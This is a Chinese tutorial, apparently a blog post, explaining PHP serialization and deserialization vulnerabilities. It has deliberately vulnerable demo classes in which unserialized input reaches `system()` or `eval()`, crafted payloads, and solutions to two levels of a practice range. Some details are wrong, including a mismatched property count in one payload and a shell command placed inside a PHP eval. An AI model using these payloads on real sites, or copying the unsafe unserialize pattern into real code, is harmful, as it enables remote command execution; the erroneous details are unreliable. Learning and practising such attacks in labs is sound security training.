什么是反序列化和序列化
蓝易云高性能服务器
|
|
|
|
|
|
|
|
|
|
序列化:其实就是对象转为数组或者字符串的格式
反序列化:就是将数组或者字符串转换成对象
我打个比方你简单的理解一下
15进行序列化就等于5+5+5
三个5相加结果是不变的但是等于15
反序列化呢
5+5+5反序列化为15
序列化就是把一个对象拆分好几块,
反序列化就是把碎片组合在一起形成一个对象
serialize() //将一个对象转换成一个字符串
unserialize() //将字符串还原成一个对象
PhP魔术方法【重点-要背一下】
__construct(): //构造函数,当对象new的时候会自动调用
__destruct()://析构函数当对象被销毁时会被自动调用
__wakeup(): //unserialize()时会被自动调用
__invoke(): //当尝试以调用函数的方法调用一个对象时,会被自动调用
__call(): //在对象上下文中调用不可访问的方法时触发
__callStatci(): //在静态上下文中调用不可访问的方法时触发
__get(): //用于从不可访问的属性读取数据
__set(): //用于将数据写入不可访问的属性
__isset(): //在不可访问的属性上调用isset()或empty()触发
__unset(): //在不可访问的属性上使用unset()时触发
__toString(): //把类当作字符串使用时触发
__sleep(): //serialize()函数会检查类中是否存在一个魔术方法__sleep() 如果存在,该方法会被优先调用
序列化漏洞演示
<?php
//class就是一个定义类的,你可以理解为定义一个对象用的,格式是class 对象名称{对象的内容类的属性和方法}
//这个demotest就是是定义的对象名称
class demotest{
//public关键字表示属性或方法是公开可见的。
//同时这也是面向对象语言通用的一种声明方式。
//public: 公开可见[就是公开可见的信息,这个公开课件不是直接F12就可以看见的]
//protected: 对象内部可见 (该对象的子对象同样可以访问)
//;private: 对象自身内部可见 (不包含该对象的子对象,或者说private属性和方法不会被继承)
public $name='odw';//名称=odw
public $max='man';//性别=男
public $age='18';//年龄=18//如果18不加单引号就是数字int类型,输出就是i:18
}
$example=new demotest();//这里就是实例化了,new他的作用就是实例化的,格式就是new+实例化对象,将实例化完的值给到变量$example
$s=serialize($example);//序列化,这里就是序列化了,serialize就是序列化的函数,格式也非常简单serialize(实例化完的对象),然后将序列化后把值赋值到$s
echo $s.'<br>';
//最后这里就是输出我们序列化后的对象了
?>
序列化:对象转换成字符串
序列化后形成字符串
O:8:"demotest":3:{s:4:"name";s:3:"odw";s:3:"max";s:3:"man";s:3:"age";s:2:"18";}
解释
O:8:"demotest":3:{s:4:"name";s:3:"odw";s:3:"max";s:3:"man";s:3:"age";s:2:"18";}
第一个
O他就是等于object的缩写【object意思?--object=对象的意思】
第二个
8代表长度,他代表的是对象名称的长度,demotest就是对象名称
第三个
demotest就是对象名称
第四个
3,3是什么呢,3代表这个demotest这个对象里面有三个public变量/或者说对象里面有三个变量
第五个
s他其实就是string的缩写【string意思就是字符串类型的意思】,所以说string字符串的意思
第六个
4,这个4是长度的意思,那个的长度呢,表示的是demotest对象里面第一个变量名称的长度,第一个变量是$name所以长度是4
第七个
name,这个就是demotest对象中第一个变量的名称
第八个
s他其实就是string的缩写【string意思就是字符串类型的意思】,所以说string字符串的意思
第九个
3 这个3是长度的意思,那个的长度呢,表示的是demotest对象里面第一个变量对应值,第一个变量$name=odw值是三个字母所以长度是3
第十个
odw,这个就是demotest对象中第一个变量$name=odw值中的odw这个值
第十一
s他其实就是string的缩写【string意思就是字符串类型的意思】,所以说string字符串的意思
第十二
3 这个3是长度的意思,那个的长度呢,表示的是demotest对象里面第二个变量名称的长度,第二个变量是$odw所以长度是3
第十三
max,这个就是demotest对象中第二个变量的变量名称
第十四
s他其实就是string的缩写【string意思就是字符串类型的意思】,所以说string字符串的意思
第十五
3 这个3是长度的意思,那个的长度呢,表示的是demotest对象里面第二个变量对应值,第一个变量$max=man值是三个字母所以长度是3
第十六
man 这个就是demotest对象中第二个变量$max=man值中的man这个值
第十七
s他其实就是string的缩写【string意思就是字符串类型的意思】,所以说string字符串的意思
第十八
3 这个3是长度的意思,那个的长度呢,表示的是demotest对象里面第三个变量名称的长度,第三个变量是$ahe所以长度是3
第十九
age 这个就是demotest对象中第三个变量的变量名称
第二十
s他其实就是string的缩写【string意思就是字符串类型的意思】,所以说string字符串的意思
第二十一
2这个2是长度的意思,那个的长度呢,表示的是demotest对象里面第三个变量对应值,第三个变量$age=18值18 两个数字所以为2
第二十二
18 这个就是demotest对象中第三个变量$age=18值中的18这个值
序列化安全问题
<?php
//class 定义一个对象A
class A{
//public 意思就是能够背外部引用
public $var='echo test';//这里设置一个变量$var 变量里面的值是'echo test';
public function test(){//这里再通过function去自定义一个函数,定义的函数名称为test
echo $this->var;//这个也非常简单就是输出$var
}
//这里有一个判断魔术方法的小技巧,看下划线__destruct()一般有两条下划线的可能就是魔术方法
//__destruct()://析构函数当对象被销毁时会被自动调用
public function __destruct(){
echo 'x'.'<br>';
}
//我们来看看__construct()这个魔术方法怎么用--__construct(): //构造函数,当对象new的时候会自动调用
//也是就是说啊当对象背new的时候就会触发魔术方法
//$a=new A();
public function __construct(){
echo '__construct'.'<br>';
}
public function __toString(){
return '__toString'.'<br>';
}
}
$a=new A();
?>
为什么会输出
__construct 和x呢
首先我们魔术方法的触发条件
__construct(): //构造函数,当对象new的时候会自动调用
__destruct()://析构函数当对象被销毁时会被自动调用
第一个是当对象被new调用的时候触发
第二个是当对象被销毁的时候触发
这里解释一样,第二个,我们没有销毁对象为什么会触发呢,这里说一下,基本情况下,当代码结束会自动销毁对象,
所以是只要代码中有__destruct()这个魔术方法,代码调用对象执行完就会触发这个魔术方法
第二种序列化安全问题
<?php
//class 定义一个对象A
class A{
//public 意思就是能够背外部引用
public $var='echo test';//这里设置一个变量$var 变量里面的值是'echo test';
public function test(){//这里再通过function去自定义一个函数,定义的函数名称为test
echo $this->var;//这个也非常简单就是输出$var
}
//这里有一个判断魔术方法的小技巧,看下划线__destruct()一般有两条下划线的可能就是魔术方法
public function __destruct(){
echo 'x'.'<br>';
}
//我们来看看__construct()这个魔术方法怎么用--__construct(): //构造函数,当对象new的时候会自动调用
//也是就是说啊当对象背new的时候就会触发魔术方法
//$a=new A();
public function __construct(){
echo '__construct'.'<br>';
}
public function __toString(){
return '__toString'.'<br>';
}
}
//无需函数,创建对象触发魔术方法
$a=new A();//触发__construct
echo serialize($a).'<br>';
?>
和第一个差不多
O:1:"A":1:{s:3:"var";s:9:"echo test";}
第三种序列化安全问题
<?php
//class 定义一个对象A
class A{
//public 意思就是能够背外部引用
public $var='echo test';//这里设置一个变量$var 变量里面的值是'echo test';
public function test(){//这里再通过function去自定义一个函数,定义的函数名称为test
echo $this->var;//这个也非常简单就是输出$var
}
//这里有一个判断魔术方法的小技巧,看下划线__destruct()一般有两条下划线的可能就是魔术方法
public function __destruct(){
echo 'x'.'<br>';
}
//我们来看看__construct()这个魔术方法怎么用--__construct(): //构造函数,当对象new的时候会自动调用
//也是就是说啊当对象背new的时候就会触发魔术方法
//$a=new A();
public function __construct(){
echo '__construct'.'<br>';
}
public function __toString(){
return '__toString'.'<br>';
}
}
$t=unserialize($_GET['x']);//unserialize是反序列化
?>
当通过x=O:1:"A":1:{s:3:"var";s:9:"echo test";}去反序列化的时候
执行出现x
为什么呢
很简单我前面大比分说了15和5+5+5是一样的
对象A 序列化就是O:1:“A”:1:{s:3:“var”;s:9:“echo test”;}
当我们调用O:1:“A”:1:{s:3:“var”;s:9:“echo test”;}就是调用对象A
当反序列化执行完,代码自动销毁达到了魔法方法destruct()的条件
<?php
//class 定义一个对象A
class A{
//public 意思就是能够背外部引用
public $var='echo test';//这里设置一个变量$var 变量里面的值是'echo test';
public function test(){//这里再通过function去自定义一个函数,定义的函数名称为test
echo $this->var;//这个也非常简单就是输出$var
}
//这里有一个判断魔术方法的小技巧,看下划线__destruct()一般有两条下划线的可能就是魔术方法
public function __destruct(){
echo 'x'.'<br>';
}
//我们来看看__construct()这个魔术方法怎么用--__construct(): //构造函数,当对象new的时候会自动调用
//也是就是说啊当对象背new的时候就会触发魔术方法
//$a=new A();
public function __construct(){
echo '__construct'.'<br>';
}
public function __toString(){
return '__toString'.'<br>';
}
}
$t=unserialize($_GET['x']);
//这个就是$t执行了也会去执行下面的$t->test()函数
$t->test();
?>
第四种序列化安全问题
<?php
//class 定义一个对象A
class A{
//public 意思就是能够背外部引用
public $var='echo test';//这里设置一个变量$var 变量里面的值是'echo test';
public function test(){//这里再通过function去自定义一个函数,定义的函数名称为test
echo $this->var;//这个也非常简单就是输出$var
}
//这里有一个判断魔术方法的小技巧,看下划线__destruct()一般有两条下划线的可能就是魔术方法
public function __destruct(){
echo 'x'.'<br>';
}
//我们来看看__construct()这个魔术方法怎么用--__construct(): //构造函数,当对象new的时候会自动调用
//也是就是说啊当对象背new的时候就会触发魔术方法
//$a=new A();
public function __construct(){
echo '__construct'.'<br>';
}
public function __toString(){
return '__toString'.'<br>';//__toString(): //把类当作字符串使用时触发
}
}
$a=new A();//触发__construct
//这里用echo $a; 这是以字符串格式输出会触发魔术方法__toString()
//当我们 把echo '$a'; 加上单引号就是int类型,就不会触发__toString()
echo $a;//触发__toString
?>
操作起来
漏洞出现1
<?php
//class 定义一个对象A
class A{
//public 意思就是能够背外部引用
public $var='echo test';//这里设置一个变量$var 变量里面的值是'echo test';
public function test(){//这里再通过function去自定义一个函数,定义的函数名称为test
echo $this->var;//这个也非常简单就是输出$var
}
//这里有一个判断魔术方法的小技巧,看下划线__destruct()一般有两条下划线的可能就是魔术方法
public function __destruct(){
system ('ipconfig');//改成以sysem权限去执行ipconfig
}
//我们来看看__construct()这个魔术方法怎么用--__construct(): //构造函数,当对象new的时候会自动调用
//也是就是说啊当对象背new的时候就会触发魔术方法
//$a=new A();
public function __construct(){
echo '__construct'.'<br>';
}
public function __toString(){
return '__toString'.'<br>';
}
}
//无需函数,创建对象触发魔术方法
$a=new A();//触发__construct
?>
漏洞出现2
<?php
//class 定义一个对象A
class A{
//public 意思就是能够背外部引用
public $cmd='ipconfig';
public function test(){//这里再通过function去自定义一个函数,定义的函数名称为test
echo $this->cmd;//这个也非常简单就是输出$cmd
}
//这里有一个判断魔术方法的小技巧,看下划线__destruct()一般有两条下划线的可能就是魔术方法
public function __destruct(){
system ($this->cmd);//这里就是执行$cmd,$cmd的值是ipconfig,简而言之就是执行ipconfig
}
//我们来看看__construct()这个魔术方法怎么用--__construct(): //构造函数,当对象new的时候会自动调用
//也是就是说啊当对象背new的时候就会触发魔术方法
//$a=new A();
public function __construct(){
echo '__construct'.'<br>';
}
public function __toString(){
return '__toString'.'<br>';
}
}
//无需函数,创建对象触发魔术方法
$a=new A();//触发__construct
?>
漏洞出现3
<?php
class A{
public $cmd='ipconfig';
public function __destruct()
{
system($this->cmd);
}
public function __construct()
{
echo '123'.'<br>';
}
}
//函数引用,无对象创建接触魔术方法自定义变量
//
unserialize($_GET['x']);
?>
我们这次就自己搞一个序列化的字符串让网站对我的字符串进行反序列化
按照要去来
1
O他就是等于object的缩写【object意思?--object=对象的意思】
2
A对象名称长度为1
3
A对象名称
4
1有对象里面有一个变量
5
s表示字符串类型
6
3第一个变量名为cmd三个字母
7
cmd第一个变量的名称
8
s字符串类型,这给字符串类型是变量执行的类型,上一个字符串类型是变量名称的
9
8表示变量值等于多少位
10
ipconfig 表示$cmd=对应的值为ipconfig
那么我们将上面的合成就是
O:1:"A":1:{s:3:"cmd";s:8:"ipconfig";}
我们试试把ipconfig改成www.baidu.com
O:1:"A":3:{s:3:"cmd";s:18:"ping www.baidu.com";}
空格和点都算占一位
靶场
https://github.com/fine-1/php-SER-libs
1
<?php
highlight_file(__FILE__);
class a{
var $act;
function action(){
eval($this->act);
}
}
$a=unserialize($_GET['flag']);//反序列化来自flag的数据
$a->action();//执行$a并执行action()
?>
这个就是需要我们自己构造字符串
O:1:"a":1:{s:3:"act";s:24:"show_source('flag.php');";}
show_source就是高亮显示flag.php内容
你不想拿flag.php内容
用cat flag.php也可以
O:1:"a":1:{s:3:"act";s:12:"cat flag.php";}
2
这关比较简单
<?php
highlight_file(__FILE__);
include("flag.php");
class mylogin{
var $user;
var $pass;
function __construct($user,$pass){
$this->user=$user;
$this->pass=$pass;
}
function login(){
if ($this->user=="daydream" and $this->pass=="ok"){
return 1;
//只要反序列化user=="daydream" and $this->pass=="ok"就可以了
}
}
}
$a=unserialize($_GET['param']);
if($a->login())
{
echo $flag;
}
?>
O:7:"mylogin":2:{s:4:"user";s:8:"daydream";s:4:"pass";s:2:"ok";}